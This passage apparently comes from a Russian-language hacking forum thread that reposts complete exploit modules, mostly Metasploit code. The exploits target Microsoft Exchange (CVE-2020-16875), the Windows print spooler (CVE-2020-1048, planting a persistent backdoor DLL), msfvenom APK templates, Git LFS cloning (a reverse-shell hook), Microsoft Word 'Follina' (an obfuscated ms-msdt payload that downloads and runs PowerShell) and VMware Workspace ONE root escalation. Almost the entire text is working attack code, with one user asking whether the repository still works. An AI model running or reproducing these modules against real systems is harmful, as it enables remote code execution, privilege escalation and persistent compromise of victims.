role. Since the user who installed Exchange is in the "Organization
Management" role group, they transitively have the "Data Loss
Prevention" role.

The specific flaw exists within the processing of the New-DlpPolicy
cmdlet. The issue results from the lack of proper validation of
user-supplied template data when creating a DLP policy. An attacker
can leverage this vulnerability to execute code in the context of
SYSTEM.

Tested against Exchange Server 2016 CU14 on Windows Server 2016.
},
'Author' => [
'mr_me', # Discovery, exploits, and most of the words above
'wvu' # Module
],
'References' => [
['CVE', '2020-16875'],
['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16875'],
['URL', 'https://support.microsoft.com/en-us/help/4577352/security-update-for-exchange-server-2019-and-2016'],
['URL', 'https://srcincite.io/advisories/src-2020-0019/'],
['URL', 'https://srcincite.io/pocs/cve-2020-16875.py.txt'],
['URL', 'https://srcincite.io/pocs/cve-2020-16875.ps1.txt']
],
'DisclosureDate' => '2020-09-08', # Public disclosure
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Privileged' => true,
'Targets' => [
['Exchange Server 2016 and 2019 w/o KB4577352', {}]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'SSL' => true,
'PAYLOAD' => 'windows/x64/meterpreter/reverse_https',
'HttpClientTimeout' => 5,
'WfsDelay' => 10
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [
IOC_IN_LOGS,
ACCOUNT_LOCKOUTS, # Creates a concurrent OWA session
CONFIG_CHANGES, # Creates a new DLP policy
ARTIFACTS_ON_DISK # Uses a DLP policy template file
]
}
)
)

register_options([
Opt::RPORT(443),
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('USERNAME', [false, 'OWA username']),
OptString.new('PASSWORD', [false, 'OWA password'])
])
end

def post_auth?
true
end

def username
datastore['USERNAME']
end

def password
datastore['PASSWORD']
end

def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/owa/auth/logon.aspx')
)

unless res
return CheckCode::Unknown('Target did not respond to check.')
end

unless res.code == 200 && res.body.include?('<title>Outlook</title>')
return CheckCode::Unknown('Target does not appear to be running OWA.')
end

CheckCode::Detected("OWA is running at #{full_uri('/owa/')}")
end

def exploit
owa_login
create_dlp_policy(retrieve_viewstate)
end

def owa_login
unless username && password
fail_with(Failure::BadConfig, 'USERNAME and PASSWORD are required for exploitation')
end

print_status("Logging in to OWA with creds #{username}:#{password}")

res = send_request_cgi!({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/owa/auth.owa'),
'vars_post' => {
'username' => username,
'password' => password,
'flags' => '',
'destination' => full_uri('/owa/', vhost_uri: true)
},
'keep_cookies' => true
}, datastore['HttpClientTimeout'], 2) # timeout and redirect_depth

unless res
fail_with(Failure::Unreachable, 'Failed to access OWA login page')
end

unless res.code == 200 && cookie_jar.grep(/^cadata/).any?
if res.body.include?('There are too many active sessions connected to this mailbox.')
fail_with(Failure::NoAccess, 'Reached active session limit for mailbox')
end

fail_with(Failure::NoAccess, 'Failed to log in to OWA with supplied creds')
end

if res.body.include?('Choose your preferred display language and home time zone below.')
fail_with(Failure::NoAccess, 'Mailbox is active but not fully configured')
end

print_good('Successfully logged in to OWA')
end

def retrieve_viewstate
print_status('Retrieving ViewState from DLP policy creation page')

res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/ecp/DLPPolicy/ManagePolicyFromISV.aspx'),
'agent' => '', # HACK: Bypass Exchange's User-Agent validation
'keep_cookies' => true
)

unless res
fail_with(Failure::Unreachable, 'Failed to access DLP policy creation page')
end

unless res.code == 200 && (viewstate = res.get_html_document.at('//input[@id = "__VIEWSTATE"]/@value')&.text)
fail_with(Failure::UnexpectedReply, 'Failed to retrieve ViewState')
end

print_good('Successfully retrieved ViewState')
viewstate
end

def create_dlp_policy(viewstate)
print_status('Creating custom DLP policy from malicious template')
vprint_status("DLP policy name: #{dlp_policy_name}")

form_data = Rex::MIME::Message.new
form_data.add_part(viewstate, nil, nil, 'form-data; name="__VIEWSTATE"')
form_data.add_part(
'ResultPanePlaceHolder_ButtonsPanel_btnNext',
nil,
nil,
'form-data; name="ctl00$ResultPanePlaceHolder$senderBtn"'
)
form_data.add_part(
dlp_policy_name,
nil,
nil,
'form-data; name="ctl00$ResultPanePlaceHolder$contentContainer$name"'
)
form_data.add_part(
dlp_policy_template,
'text/xml',
nil,
%(form-data; name="ctl00$ResultPanePlaceHolder$contentContainer$upldCtrl"; filename="#{dlp_policy_filename}")
)

send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/ecp/DLPPolicy/ManagePolicyFromISV.aspx'),
'agent' => '', # HACK: Bypass Exchange's User-Agent validation
'ctype' => "multipart/form-data; boundary=#{form_data.bound}",
'data' => form_data.to_s
}, 0)
end

def dlp_policy_template
# https://docs.microsoft.com/en-us/exchange/developing-dlp-policy-template-files-exchange-2013-help
<<~XML
<?xml version="1.0" encoding="UTF-8"?>
<dlpPolicyTemplates>
<dlpPolicyTemplate id="F7C29AEC-A52D-4502-9670-141424A83FAB" mode="Audit" state="Enabled" version="15.0.2.0">
<contentVersion>4</contentVersion>
<publisherName>Metasploit</publisherName>
<name>
<localizedString lang="en">#{dlp_policy_name}</localizedString>
</name>
<description>
<localizedString lang="en">wvu was here</localizedString>
</description>
<keywords></keywords>
<ruleParameters></ruleParameters>
<policyCommands>
<commandBlock>
<![CDATA[#{cmd_psh_payload(payload.encoded, payload.arch.first, exec_in_place: true)}]]>
</commandBlock>
</policyCommands>
<policyCommandsResources></policyCommandsResources>
</dlpPolicyTemplate>
</dlpPolicyTemplates>
XML
end

def dlp_policy_name
@dlp_policy_name ||= "#{Faker::Bank.name.titleize} Data"
end

def dlp_policy_filename
@dlp_policy_filename ||= "#{rand_text_alphanumeric(8..42)}.xml"
end

end
 
Microsoft Spooler Local Privilege Elevation

This exploit leverages a file write vulnerability in the print spooler service which will restart if stopped. Because the service cannot be stopped long enough to remove the dll, there is no way to remove the dll once it is loaded by the service. Essentially, on default settings, this module adds a permanent elevated backdoor.

Код:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::Common
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Exploit::EXE

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Microsoft Spooler Local Privilege Elevation Vulnerability',
'Description' => %q{
This exploit leverages a file write vulnerability in the print spooler service
which will restart if stopped. Because the service cannot be stopped long
enough to remove the dll, there is no way to remove the dll once
it is loaded by the service. Essentially, on default settings, this module
adds a permanent elevated backdoor.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Yarden Shafir', # Original discovery
'Alex Ionescu', # Original discovery
'shubham0d', # PoC
'bwatters-r7' # msf module
],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Targets' =>
[
[ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X64 ] } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 04 2019',
'References' =>
[
['CVE', '2020-1048'],
['URL', 'https://windows-internals.com/printdemon-cve-2020-1048/']
],
'DefaultOptions' =>
{
'DisablePayloadHandler' => true
},
'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ]
)
)

register_options([
OptString.new('EXPLOIT_NAME',
[true, 'The filename to use for the exploit binary (%RAND% by default).', "#{Rex::Text.rand_text_alpha(6..14)}.exe"]),
OptString.new('PAYLOAD_NAME',
[true, 'The filename for the payload to be used on the target host (%RAND%.dll by default).', Rex::Text.rand_text_alpha(6..14).to_s]),
OptString.new('WRITABLE_DIR',
[false, 'Path to write binaries (%TEMP% by default).', nil]),
OptString.new('OVERWRITE_DLL',
[false, 'Filename to overwrite (%WINDIR%\system32\ualapi.dll by default).', nil]),
OptBool.new('RESTART_TARGET',
[true, 'Restart the target after exploit (you will lose your session until a second reboot).', false]),
OptInt.new('EXECUTE_DELAY',
[true, 'The number of seconds to delay between file upload and exploit launch', 3])
])
end

def cve_2020_1048_privileged_filecopy(destination_file, source_file, exploit_path, target_arch, force_exploit = false)
# Upload Exploit
if target_arch == ARCH_X86
vprint_status('Using x86 binary')
exploit_bin = exploit_data('CVE-2020-1048', 'cve-2020-1048-exe.Win32.exe')
else
vprint_status('Using x64 binary')
exploit_bin = exploit_data('CVE-2020-1048', 'cve-2020-1048-exe.x64.exe')
end
vprint_status("Uploading exploit to #{sysinfo['Computer']} as #{exploit_path}")
if file?(exploit_path)
print_error("#{exploit_path} already exists")
return false unless force_exploit
end
fail_with(Failure::BadConfig, 'No exploit binary found') if exploit_bin.nil?
write_file(exploit_path, exploit_bin)
print_status("Exploit uploaded on #{sysinfo['Computer']} to #{exploit_path}")

# Run Exploit
vprint_status('Running Exploit')
begin
output = cmd_exec('cmd.exe', "/c #{exploit_path} #{destination_file} #{source_file}")
rescue Rex::TimeoutError => e
elog('Caught timeout. Exploit may be taking longer or it may have failed.', error: e)
print_error('Caught timeout. Exploit may be taking longer or it may have failed.')
end
output
end

def exploit
exploit_name = datastore['EXPLOIT_NAME']
vprint_status("exploit_name = #{exploit_name}")
exploit_name = "#{exploit_name}.exe" unless exploit_name.end_with?('.exe')
payload_name = datastore['PAYLOAD_NAME']
if datastore['OVERWRITE_TARGET'].nil? || datastore['OVERWRITE_TARGET'].empty?
win_dir = session.sys.config.getenv('windir')
overwrite_target = "#{win_dir}\\system32\\ualapi.dll"
else
overwrite_target = datastore['OVERWRITE_TARGET']
end
temp_path = datastore['WRITABLE_DIR'] || session.sys.config.getenv('TEMP')
payload_path = "#{temp_path}\\#{payload_name}"
exploit_path = "#{temp_path}\\#{exploit_name}"
payload_dll = generate_payload_dll

# Check target
vprint_status('Checking Target')
validate_active_host
validate_payload
fail_with(Failure::BadConfig, "#{temp_path} does not exist on the target") unless directory?(temp_path)

# Upload Payload
vprint_status('Uploading Payload')
ensure_clean_destination(payload_path)
write_file(payload_path, payload_dll)
print_status("Payload (#{payload_dll.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_path}")
print_warning("This exploit requires manual cleanup of the payload #{payload_path}")
vprint_status("Sleeping for #{datastore['EXECUTE_DELAY']} seconds before launching exploit")
sleep(datastore['EXECUTE_DELAY'])

# Run the exploit
output = cve_2020_1048_privileged_filecopy(overwrite_target, payload_path, exploit_path, sysinfo['Architecture'])
vprint_status("Exploit output:\n#{output}")
sleep(1) # make sure exploit is finished
vprint_status("Removing #{exploit_path}")
session.fs.file.rm(exploit_path)

# Reboot, if desired
if datastore['RESTART_TARGET']
sleep(10)
vprint_status("Rebooting #{sysinfo['Computer']}")
reboot_command = 'shutdown /r'
begin
cmd_exec('cmd.exe', "/c #{reboot_command}")
rescue Rex::TimeoutError => e
elog('Caught timeout. Exploit may be taking longer or it may have failed.', error: e)
print_error('Caught timeout. Exploit may be taking longer or it may have failed.')
end
end
end

def validate_active_host
begin
print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
rescue Rex::Post::Meterpreter::RequestError => e
elog('Could not connect to session', error: e)
raise Msf::Exploit::Failed, 'Could not connect to session'
end
end

def validate_payload
vprint_status("Target Arch = #{sysinfo['Architecture']}")
vprint_status("Payload Arch = #{payload.arch.first}")
unless payload.arch.first == sysinfo['Architecture']
fail_with(Failure::BadConfig, 'Payload arch must match target arch')
end
end

def check
sysinfo_value = sysinfo['OS']
build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i
vprint_status("Build Number = #{build_num}")
return Exploit::CheckCode::Appears if sysinfo_value =~ /10/ && build_num <= 18363

return Exploit::CheckCode::Safe
end

def ensure_clean_destination(path)
return unless file?(path)

print_status("#{path} already exists on the target. Deleting...")
begin
file_rm(path)
print_status("Deleted #{path}")
rescue Rex::Post::Meterpreter::RequestError => e
elog(e)
print_error("Unable to delete #{path}")
end
end
end
 
Metasploit Framework 6.0.11 - msfvenom APK template command injection

Код:
# Exploit Title: Metasploit Framework 6.0.11 - msfvenom APK template command injection
# Exploit Author: Justin Steven
# Vendor Homepage: https://www.metasploit.com/
# Software Link: https://www.metasploit.com/
# Version: Metasploit Framework 6.0.11 and Metasploit Pro 4.18.0
# CVE : CVE-2020-7384

#!/usr/bin/env python3
import subprocess
import tempfile
import os
from base64 import b64encode

# Change me
payload = 'echo "Code execution as $(id)" > /tmp/win'

# b64encode to avoid badchars (keytool is picky)
payload_b64 = b64encode(payload.encode()).decode()
dname = f"CN='|echo {payload_b64} | base64 -d | sh #"

print(f"[+] Manufacturing evil apkfile")
print(f"Payload: {payload}")
print(f"-dname: {dname}")
print()

tmpdir = tempfile.mkdtemp()
apk_file = os.path.join(tmpdir, "evil.apk")
empty_file = os.path.join(tmpdir, "empty")
keystore_file = os.path.join(tmpdir, "signing.keystore")
storepass = keypass = "password"
key_alias = "signing.key"

# Touch empty_file
open(empty_file, "w").close()

# Create apk_file
subprocess.check_call(["zip", "-j", apk_file, empty_file])

# Generate signing key with malicious -dname
subprocess.check_call(["keytool", "-genkey", "-keystore", keystore_file, "-alias", key_alias, "-storepass", storepass,
                       "-keypass", keypass, "-keyalg", "RSA", "-keysize", "2048", "-dname", dname])

# Sign APK using our malicious dname
subprocess.check_call(["jarsigner", "-sigalg", "SHA1withRSA", "-digestalg", "SHA1", "-keystore", keystore_file,
                       "-storepass", storepass, "-keypass", keypass, apk_file, key_alias])

print()
print(f"[+] Done! apkfile is at {apk_file}")
print(f"Do: msfvenom -x {apk_file} -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -o /dev/null")
+
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Репозиторий еще работает?или я что то не так сделал?помогите ответом.
 

Вложения

  • 2021-04-22-08-36-10.jpg
    2021-04-22-08-36-10.jpg
    291.3 КБ · Просмотры: 45

Git LFS Clone Command Execution Exploit

Код:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
 
  include Msf::Exploit::Git
  include Msf::Exploit::Git::SmartHttp
  include Msf::Exploit::Git::Lfs
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::FileDropper
 
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Git LFS Clone Command Exec',
        'Description' => %q{
          Git clients that support delay-capable clean / smudge
          filters and symbolic links on case-insensitive file systems are
          vulnerable to remote code execution while cloning a repository.
 
          Usage of clean / smudge filters through Git LFS and a
          case-insensitive file system changes the checkout order
          of repository files which enables the placement of a Git hook
          in the `.git/hooks` directory. By default, this module writes
          a `post-checkout` script so that the payload will automatically
          be executed upon checkout of the repository.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Johannes Schindelin', # Discovery
          'Matheus Tavares', # Discovery
          'Shelby Pace' # Metasploit module
        ],
        'References' => [
          [ 'CVE', '2021-21300' ],
          [ 'URL', 'https://seclists.org/fulldisclosure/2021/Apr/60' ],
          [ 'URL', 'https://twitter.com/Foone/status/1369500506469527552?s=20' ]
        ],
        'DisclosureDate' => '2021-04-26',
        'Platform' => [ 'unix' ],
        'Arch' => ARCH_CMD,
        'Targets' => [
          [
            'Git for MacOS, Windows',
            {
              'Platform' => [ 'unix' ],
              'Arch' => ARCH_CMD,
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'Reliability' => [ REPEATABLE_SESSION ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ]
        }
      )
    )
 
    register_options(
      [
        OptString.new('GIT_URI', [ false, 'The URI to use as the malicious Git instance (empty for random)', '' ])
      ]
    )
 
    deregister_options('RHOSTS', 'RPORT')
  end
 
  def exploit
    setup_repo_structure
    super
  end
 
  def setup_repo_structure
    link_content = '.git/hooks'
    link_name = Rex::Text.rand_text_alpha(8..12).downcase
    link_obj = GitObject.build_blob_object(link_content)
 
    dir_name = link_name.upcase
    git_attr = '.gitattributes'
 
    git_hook = 'post-checkout'
    @hook_payload = "#!/bin/sh\n#{payload.encoded}"
    ptr_file = generate_pointer_file(@hook_payload)
 
    # need to initially send the pointer file
    # then send the actual object when Git LFS requests it
    git_hook_ptr = GitObject.build_blob_object(ptr_file)
 
    git_attr_content = "#{dir_name}/#{git_hook} filter=lfs diff=lfs merge=lfs"
    git_attr_obj = GitObject.build_blob_object(git_attr_content)
 
    sub_file_content = Rex::Text.rand_text_alpha(0..150)
    sub_file_name = Rex::Text.rand_text_alpha(8..12)
    sub_file_obj = GitObject.build_blob_object(sub_file_content)
 
    register_dir_for_cleanup('.git')
    register_files_for_cleanup(git_attr, link_name)
 
    # create subdirectory which holds payload
    sub_tree =
      [
        {
          mode: '100644',
          file_name: sub_file_name,
          sha1: sub_file_obj.sha1
        },
        {
          mode: '100755',
          file_name: git_hook,
          sha1: git_hook_ptr.sha1
        }
      ]
 
    sub_tree_obj = GitObject.build_tree_object(sub_tree)
 
    # root of repository
    tree_ent =
      [
        {
          mode: '100644',
          file_name: git_attr,
          sha1: git_attr_obj.sha1
        },
        {
          mode: '040000',
          file_name: dir_name,
          sha1: sub_tree_obj.sha1
        },
        {
          mode: '120000',
          file_name: link_name,
          sha1: link_obj.sha1
        }
      ]
    tree_obj = GitObject.build_tree_object(tree_ent)
    commit = GitObject.build_commit_object(tree_sha1: tree_obj.sha1)
 
    @git_objs =
      [
        commit, tree_obj, sub_tree_obj,
        sub_file_obj, git_attr_obj, git_hook_ptr,
        link_obj
      ]
 
    @refs =
      {
        'HEAD' => 'refs/heads/master',
        'refs/heads/master' => commit.sha1
      }
  end
 
  def create_git_uri
    "/#{Faker::App.name.downcase}.git".gsub(' ', '-')
  end
 
  def primer
    @git_repo_uri = datastore['GIT_URI'].empty? ? create_git_uri : datastore['GIT_URI']
    @git_addr = URI.parse(get_uri).merge(@git_repo_uri)
    print_status("Git repository to clone: #{@git_addr}")
    hardcoded_uripath(@git_repo_uri)
    hardcoded_uripath("/#{Digest::SHA256.hexdigest(@hook_payload)}")
  end
 
  def on_request_uri(cli, req)
    if req.uri.include?('git-upload-pack')
      request = Msf::Exploit::Git::SmartHttp::Request.parse_raw_request(req)
      case request.type
      when 'ref-discovery'
        response = send_refs(request)
      when 'upload-pack'
        response = send_requested_objs(request)
      else
        fail_with(Failure::UnexpectedReply, 'Git client did not send a valid request')
      end
    else
      response = handle_lfs_objects(req)
      unless response.code == 200
        cli.send_response(response)
        fail_with(Failure::UnexpectedReply, 'Failed to respond to Git client\'s LFS request')
      end
    end
 
    cli.send_response(response)
  end
 
  def send_refs(req)
    fail_with(Failure::UnexpectedReply, 'Git client did not perform a clone') unless req.service == 'git-upload-pack'
 
    response = get_ref_discovery_response(req, @refs)
    fail_with(Failure::UnexpectedReply, 'Failed to build a proper response to the ref discovery request') unless response
 
    response
  end
 
  def send_requested_objs(req)
    upload_pack_resp = get_upload_pack_response(req, @git_objs)
    unless upload_pack_resp
      fail_with(Failure::UnexpectedReply, 'Could not generate upload-pack response')
    end
 
    upload_pack_resp
  end
 
  def handle_lfs_objects(req)
    git_hook_obj = GitObject.build_blob_object(@hook_payload)
 
    case req.method
    when 'POST'
      print_status('Sending payload data...')
      response = get_batch_response(req, @git_addr, git_hook_obj)
      fail_with(Failure::UnexpectedReply, 'Client request was invalid') unless response
    when 'GET'
      print_status('Sending LFS object...')
      response = get_requested_obj_response(req, git_hook_obj)
      fail_with(Failure::UnexpectedReply, 'Client sent invalid request') unless response
    else
      fail_with(Failure::UnexpectedReply, 'Unable to handle client\'s request')
    end
 
    response
  end
end
 
#  0day.today [2021-09-09]  #
 
Microsoft Office Word MSDTJS Code Execution

This Metasploit module generates a malicious Microsoft Word document that when loaded, will leverage the remote template feature to fetch an HTML document and then use the ms-msdt scheme to execute PowerShell code.

Код:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Powershell
  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Microsoft Office Word MSDTJS',
        'Description' => %q{
          This module generates a malicious Microsoft Word document that when loaded, will leverage the remote template
          feature to fetch an `HTML` document and then use the `ms-msdt` scheme to execute `PowerShell` code.
        },
        'References' => [
          ['CVE', '2022-30190'],
          ['URL', 'https://www.reddit.com/r/blueteamsec/comments/v06w2o/suspected_microsoft_word_zero_day_in_the_wild/'],
          ['URL', 'https://twitter.com/nao_sec/status/1530196847679401984?t=3Pjrpdog_H6OfMHVLMR5eQ&s=19'],
          ['URL', 'https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/'],
          ['URL', 'https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e'],
          ['URL', 'https://twitter.com/GossiTheDog/status/1531608245009367040'],
          ['URL', 'https://github.com/JMousqueton/PoC-CVE-2022-30190']
        ],
        'Author' => [
          'nao sec', # Original disclosure.
          'mekhalleh (RAMELLA Sébastien)' # Zeop CyberSecurity
        ],
        'DisclosureDate' => '2022-05-29',
        'License' => MSF_LICENSE,
        'Privileged' => false,
        'Platform' => 'win',
        'Arch' => [ARCH_X86, ARCH_X64],
        'Payload' => {
          'DisableNops' => true
        },
        'DefaultOptions' => {
          'DisablePayloadHandler' => false,
          'FILENAME' => 'msf.docx',
          'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',
          'SRVHOST' => Rex::Socket.source_address('1.2.3.4')
        },
        'Targets' => [
          [ 'Microsoft Office Word', {} ]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'AKA' => ['Follina'],
          'Stability' => [CRASH_SAFE],
          'Reliability' => [UNRELIABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      OptPath.new('CUSTOMTEMPLATE', [false, 'A DOCX file that will be used as a template to build the exploit.']),
      OptBool.new('OBFUSCATE', [true, 'Obfuscate JavaScript content.', true])
    ])
  end

  def get_file_in_docx(fname)
    i = @docx.find_index { |item| item[:fname] == fname }

    unless i
      fail_with(Failure::NotFound, "This template cannot be used because it is missing: #{fname}")
    end

    @docx.fetch(i)[:data]
  end

  def get_template_path
    datastore['CUSTOMTEMPLATE'] || File.join(Msf::Config.data_directory, 'exploits', 'word_msdtjs.docx')
  end

  def generate_html
    uri = "#{@proto}://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{normalize_uri(@my_resources.first.to_s)}.ps1"

    dummy = ''
    (1..random_int(61, 100)).each do |_n|
      dummy += '//' + rand_text_alpha(100) + "\n"
    end

    cmd = Rex::Text.encode_base64("IEX(New-Object Net.WebClient).downloadString('#{uri}')")

    js_content = "window.location.href = \"ms-msdt:/id PCWDiagnostic /skip force /param \\\"IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=h$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'#{cmd}'+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO\\\"\";"
    if datastore['OBFUSCATE']
      print_status('Obfuscate JavaScript content')

      js_content = Rex::Exploitation::JSObfu.new js_content
      js_content = js_content.obfuscate(memory_sensitive: false)
    end

    html = '<!DOCTYPE html><html><head><meta http-equiv="Expires" content="-1"><meta http-equiv="X-UA-Compatible" content="IE=11"></head><body><script>'
    html += "\n#{dummy}\n#{js_content}\n"
    html += '</script></body></html>'

    html
  end

  def inject_docx
    document_xml = get_file_in_docx('word/document.xml')
    unless document_xml
      fail_with(Failure::NotFound, 'This template cannot be used because it is missing: word/document.xml')
    end

    document_xml_rels = get_file_in_docx('word/_rels/document.xml.rels')
    unless document_xml_rels
      fail_with(Failure::NotFound, 'This template cannot be used because it is missing: word/_rels/document.xml.rels')
    end

    uri = "#{@proto}://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{normalize_uri(@my_resources.first.to_s)}.html"
    @docx.each do |entry|
      case entry[:fname]
      when 'word/_rels/document.xml.rels'
        entry[:data] = document_xml_rels.to_s.gsub!('TARGET_HERE', "#{uri}&#x21;")
      end
    end
  end

  def normalize_uri(*strs)
    new_str = strs * '/'

    new_str = new_str.gsub!('//', '/') while new_str.index('//')

    # makes sure there's a starting slash
    unless new_str.start_with?('/')
      new_str = '/' + new_str
    end

    new_str
  end

  def on_request_uri(cli, request)
    header_html = {
      'Access-Control-Allow-Origin' => '*',
      'Access-Control-Allow-Methods' => 'GET, POST',
      'Cache-Control' => 'no-store, no-cache, must-revalidate',
      'Content-Type' => 'text/html; charset=UTF-8'
    }

    if request.method.eql? 'HEAD'
      send_response(cli, '', header_html)
    elsif request.method.eql? 'OPTIONS'
      response = create_response(501, 'Unsupported Method')
      response['Content-Type'] = 'text/html'
      response.body = ''

      cli.send_response(response)
    elsif request.raw_uri.to_s.end_with? '.html'
      print_status('Sending HTML Payload')

      send_response_html(cli, generate_html, header_html)
    elsif request.raw_uri.to_s.end_with? '.ps1'
      print_status('Sending PowerShell Payload')

      send_response(cli, @payload_data, header_html)
    end
  end

  def pack_docx
    @docx.each do |entry|
      if entry[:data].is_a?(Nokogiri::XML::Document)
        entry[:data] = entry[:data].to_s
      end
    end

    Msf::Util::EXE.to_zip(@docx)
  end

  def primer
    print_status('Generating a malicious docx file')

    @proto = (datastore['SSL'] ? 'https' : 'http')

    template_path = get_template_path
    unless File.extname(template_path).downcase.end_with?('.docx')
      fail_with(Failure::BadConfig, 'Template is not a docx file!')
    end

    print_status("Using template '#{template_path}'")
    @docx = unpack_docx(template_path)

    print_status('Injecting payload in docx document')
    inject_docx

    print_status("Finalizing docx '#{datastore['FILENAME']}'")
    file_create(pack_docx)

    @payload_data = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true, exec_in_place: true)

    super
  end

  def random_int(min, max)
    rand(max - min) + min
  end

  def unpack_docx(template_path)
    document = []

    Zip::File.open(template_path) do |entries|
      entries.each do |entry|
        if entry.name.downcase.end_with?('.xml', '.rels')
          content = Nokogiri::XML(entry.get_input_stream.read) if entry.file?
        elsif entry.file?
          content = entry.get_input_stream.read
        end

        vprint_status("Parsing item from template: #{entry.name}")

        document << { fname: entry.name, data: content }
      end
    end

    document
  end

end
 

VMware Workspace ONE Access Privilege Escalation Exploit​


Код:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking
 
  include Msf::Exploit::EXE
  include Msf::Post::File
  include Msf::Post::Unix
 
  TARGET_FILE = '/opt/vmware/certproxy/bin/cert-proxy.sh'.freeze
 
  def initialize(info = {})
    super(
      update_info(
        info,
        {
          'Name' => 'VMware Workspace ONE Access CVE-2022-31660',
          'Description' => %q{
            VMware Workspace ONE Access contains a vulnerability whereby the horizon user can escalate their privileges
            to those of the root user by modifying a file and then restarting the vmware-certproxy service which
            invokes it. The service control is permitted via the sudo configuration without a password.
          },
          'License' => MSF_LICENSE,
          'Author' => [
            'Spencer McIntyre'
          ],
          'Platform' => [ 'linux', 'unix' ],
          'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
          'SessionTypes' => ['shell', 'meterpreter'],
          'Targets' => [
            [ 'Automatic', {} ],
          ],
          'DefaultOptions' => {
            'PrependFork' => true,
            'MeterpreterTryToFork' => true
          },
          'Privileged' => true,
          'DefaultTarget' => 0,
          'References' => [
            [ 'CVE', '2022-31660' ],
            [ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2022-0021.html' ]
          ],
          'DisclosureDate' => '2022-08-02',
          'Notes' => {
            # We're corrupting the vmware-certproxy service, if restoring the contents fails it won't work. This service
            # is disabled by default though.
            'Stability' => [CRASH_SERVICE_DOWN],
            'Reliability' => [REPEATABLE_SESSION],
            'SideEffects' => [ARTIFACTS_ON_DISK]
          }
        }
      )
    )
  end
 
  def certproxy_service
    # this script's location depends on the version, so find it.
    return @certproxy_service if @certproxy_service
 
    @certproxy_service = [
      '/usr/local/horizon/scripts/certproxyService.sh',
      '/opt/vmware/certproxy/bin/certproxyService.sh'
    ].find { |path| file?(path) }
 
    vprint_status("Found service control script at: #{@certproxy_service}") if @certproxy_service
    @certproxy_service
  end
 
  def sudo(arguments)
    cmd_exec("sudo --non-interactive #{arguments}")
  end
 
  def check
    unless whoami == 'horizon'
      return CheckCode::Safe('Not running as the horizon user.')
    end
 
    token = Rex::Text.rand_text_alpha(10)
    unless sudo("--list '#{certproxy_service}' && echo #{token}").include?(token)
      return CheckCode::Safe('Cannot invoke the service control script with sudo.')
    end
 
    unless writable?(TARGET_FILE)
      return CheckCode::Safe('Cannot write to the service file.')
    end
 
    CheckCode::Appears
  end
 
  def exploit
    # backup the original permissions and contents
    print_status('Backing up the original file...')
    @backup = {
      stat: stat(TARGET_FILE),
      contents: read_file(TARGET_FILE)
    }
 
    if payload.arch.first == ARCH_CMD
      payload_data = "#!/bin/bash\n#{payload.encoded}"
    else
      payload_data = generate_payload_exe
    end
    upload_and_chmodx(TARGET_FILE, payload_data)
    print_status('Triggering the payload...')
    sudo("--background #{certproxy_service} restart")
  end
 
  def cleanup
    return unless @backup
 
    print_status('Restoring file contents...')
